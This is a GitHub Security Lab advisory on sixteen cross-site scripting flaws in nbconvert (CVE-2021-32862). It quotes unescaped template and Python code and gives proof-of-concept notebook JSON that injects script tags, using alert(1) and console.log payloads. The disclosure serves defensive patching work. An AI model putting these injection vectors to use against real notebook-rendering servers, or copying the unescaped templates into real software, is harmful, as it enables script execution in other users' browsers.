skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
August 18, 2022

GHSL-2021-1013_1028: Arbitrary code injection in nbconvert leads to several Cross-Site Scripting (XSS) vulnerabilities - CVE-2021-32862

Alvaro Munoz

Coordinated Disclosure Timeline

Summary

When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)

Product

nbconvert

Tested Version

v5.5.0

Details

Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (GHSL-2021-1013)

Attacker in control of a notebook can inject arbitrary unescaped HTML in the notebook.metadata.language_info.pygments_lexer field such as the following:

"metadata": {
  "language_info": {
   "pygments_lexer": "ipython3-foo\"><script>alert(1)</script>"
  }
}

This node is read in the from_notebook_node method:

def from_notebook_node(self, nb, resources=None, **kw):
  langinfo = nb.metadata.get('language_info', {})
  lexer = langinfo.get('pygments_lexer', langinfo.get('name', None))
  highlight_code = self.filters.get('highlight_code', Highlight2HTML(pygments_lexer=lexer, parent=self))
  self.register_filter('highlight_code', highlight_code)
  return super().from_notebook_node(nb, resources, **kw)

It is then assigned to language var and passed down to _pygments_highlight

from pygments.formatters import LatexFormatter
if not language:
  language=self.pygments_lexer
latex = _pygments_highlight(source, LatexFormatter(), language, metadata)

In this method, the language variable is concatenated to highlight hl- string to conform the cssclass passed to the HTMLFormatter constructor:

return _pygments_highlight(source if len(source) > 0 else ' ',
  # needed to help post processors:
  HtmlFormatter(cssclass=" highlight hl-"+language),
  language, metadata)

The cssclass variable is then concatenated in the outer div class attribute

yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>')

Note that the cssclass variable is also used in other unsafe places such as '<table class="%stable">' % self.cssclass + filename_tr +)

Issue 2: XSS in notebook.metadata.title (GHSL-2021-1014)

The notebook.metadata.title node is rendered directly to the index.html.j2 HTML template with no escaping:

{% set nb_title = nb.metadata.get('title', '') or resources['metadata']['name'] %}
<title>{{nb_title}}</title>

The following notebook.metadata.title node will execute arbitrary javascript:

 "metadata": {
  "title": "TITLE</title><script>alert(1)</script>"
 }

Note: this issue also affect other templates, not just the lab one.

Issue 3: XSS in notebook.metadata.widgets(GHSL-2021-1015)

The notebook.metadata.widgets node is rendered directly to the base.html.j2 HTML template with no escaping:

{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}
{% if mimetype in nb.metadata.get("widgets",{})%}
<script type="{{ mimetype }}">
{{ nb.metadata.widgets[mimetype] | json_dumps }}
</script>
{% endif %}

The following notebook.metadata.widgets node will execute arbitrary javascript:

 "metadata": {
  "widgets": {
    "application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"}
  }
 }

Note: this issue also affect other templates, not just the lab one.

Issue 4: XSS in notebook.cell.metadata.tags(GHSL-2021-1016)

The notebook.cell.metadata.tags nodes are output directly to the celltags.j2 HTML template with no escaping:

{%- macro celltags(cell) -%}
    {% if cell.metadata.tags | length > 0 -%}
        {% for tag in cell.metadata.tags -%}
            {{ ' celltag_' ~ tag -}}
        {%- endfor -%}
    {%- endif %}
{%- endmacro %}

The following notebook.cell.metadata.tags node will execute arbitrary javascript:

  {
   "cell_type": "code",
   "execution_count": null,
   "id": "727d1a5f",
   "metadata": {
     "tags": ["FOO\"><script>alert(1)</script><div \""]
   },
   "outputs": [],
   "source": []
  }
 ],

Note: this issue also affect other templates, not just the lab one.

Issue 5: XSS in output data text/html cells(GHSL-2021-1017)

Using the text/html output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a cell with text/html output executing arbitrary javascript code:

  {
   "cell_type": "code",
   "execution_count": 5,
   "id": "b72e53fa",
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
        "<script>alert(1)</script>"
      ]
     },
     "execution_count": 5,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "import os; os.system('touch /tmp/pwned')"
   ]
  },

Issue 6: XSS in output data image/svg+xml cells(GHSL-2021-1018)

Using the image/svg+xml output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["image/svg+xml"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

{%- else %}
{{ output.data['image/svg+xml'] }}
{%- endif %}

The following cell.output.data["image/svg+xml"] node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "image/svg+xml": ["<script>console.log(\"image/svg+xml output\")</script>"]
     },
     "execution_count": null,
     "metadata": {
     }
    }

Issue 7: XSS in notebook.cell.output.svg_filename(GHSL-2021-1019)

The cell.output.svg_filename nodes are rendered directly to the base.html.j2 HTML template with no escaping

{%- if output.svg_filename %}
<img src="{{ output.svg_filename | posix_path }}">

The following cell.output.svg_filename node will escape the img tag context and execute arbitrary javascript:

  {
   "cell_type": "code",
   "execution_count": null,
   "id": "b72e53fa",
   "metadata": {},
   "outputs": [
    {
     "output_type": "execute_result",
     "svg_filename": "\"><script>alert(1)</script>",
     "data": {
      "image/svg+xml": [""]
     },
     "execution_count": null,
     "metadata": {
     }
    }
   ],
   "source": [""]
  },

Issue 8: XSS in output data text/markdown cells(GHSL-2021-1020)

Using the text/markdown output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["text/markdown"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

{{ output.data['text/markdown'] | markdown2html }}

The following cell.output.data["text/markdown"] node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "text/markdown": ["<script>console.log(\"text/markdown output\")</script>"]
     },
     "execution_count": null,
     "metadata": {}
    }

Issue 9: XSS in output data application/javascript cells(GHSL-2021-1021)

Using the application/javascript output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The cell.output.data["application/javascript"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

<script type="text/javascript">
var element = document.getElementById('{{ div_id }}');
{{ output.data['application/javascript'] }}
</script>

The following cell.output.data["application/javascript"] node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "application/javascript": ["console.log(\"application/javascript output\")"]
     },
     "execution_count": null,
     "metadata": {}
    }

Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(GHSL-2021-1022)

The cell.output.metadata.filenames["images/png"] and cell.metadata.filenames["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{%- if 'image/png' in output.metadata.get('filenames', {}) %}
<img src="{{ output.metadata.filenames['image/png'] | posix_path }}"

The following filenames node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "image/png": [""]
     },
     "execution_count": null,
     "metadata": {
       "filenames": {
          "image/png": "\"><script>console.log(\"output.metadata.filenames.image/png injection\")</script>" 
       }
     }
    }

Issue 11: XSS in output data image/png and image/jpeg cells(GHSL-2021-1023)

Using the image/png or image/jpeg output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["images/png"] and cell.output.data["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{%- else %}
<img src="data:image/png;base64,{{ output.data['image/png'] }}"
{%- endif %}

The following cell.output.data["image/png"] node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "image/png": ["\"><script>console.log(\"image/png output\")</script>"]
     },
     "execution_count": null,
     "metadata": {}
    }

Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(GHSL-2021-1024)

The cell.output.metadata.width and cell.output.metadata.height nodes of both image/png and image/jpeg cells are rendered directly to the base.html.j2 HTML template with no escaping:

{%- set width=output | get_metadata('width', 'image/png') -%}
width={{ width }}
{%- set height=output | get_metadata('height', 'image/png') -%}
height={{ height }}

The following output.metadata.width node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "image/png": ["abcd"]
     },
     "execution_count": null,
     "metadata": {
        "width": "><script>console.log(\"output.metadata.width png injection\")</script>"
     }
    }

Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(GHSL-2021-1025)

The cell.output.data["application/vnd.jupyter.widget-state+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{% set datatype_list = output.data | filter_data_type %}
{% set datatype = datatype_list[0]%}
<script type="{{ datatype }}">
{{ output.data[datatype] | json_dumps }}
</script>

The following cell.output.data["application/vnd.jupyter.widget-state+json"] node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "application/vnd.jupyter.widget-state+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//"
     },
     "execution_count": null,
     "metadata": {}
    }

Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(GHSL-2021-1026)

The cell.output.data["application/vnd.jupyter.widget-view+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{% set datatype_list = output.data | filter_data_type %}
{% set datatype = datatype_list[0]%}
<script type="{{ datatype }}">
{{ output.data[datatype] | json_dumps }}
</script>

The following cell.output.data["application/vnd.jupyter.widget-view+json"] node will execute arbitrary javascript:

    {
     "output_type": "execute_result",
     "data": {
      "application/vnd.jupyter.widget-view+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//"
     },
     "execution_count": null,
     "metadata": {}
    }

Issue 15: XSS in raw cells(GHSL-2021-1027)

Using a raw cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a raw cell executing arbitrary javascript code:

  {
   "cell_type": "raw",
   "id": "372c2bf1",
   "metadata": {},
   "source": [
    "Payload in raw cell <script>alert(1)</script>"
   ]
  }

Issue 16: XSS in markdown cells(GHSL-2021-1028)

Using a markdown cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a markdown cell executing arbitrary javascript code:

  {
   "cell_type": "markdown",
   "id": "2d42de4a",
   "metadata": {},
   "source": [
     "<script>alert(1)</script>"
   ]
  },

CVE

Resources

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 in any communication regarding these issues.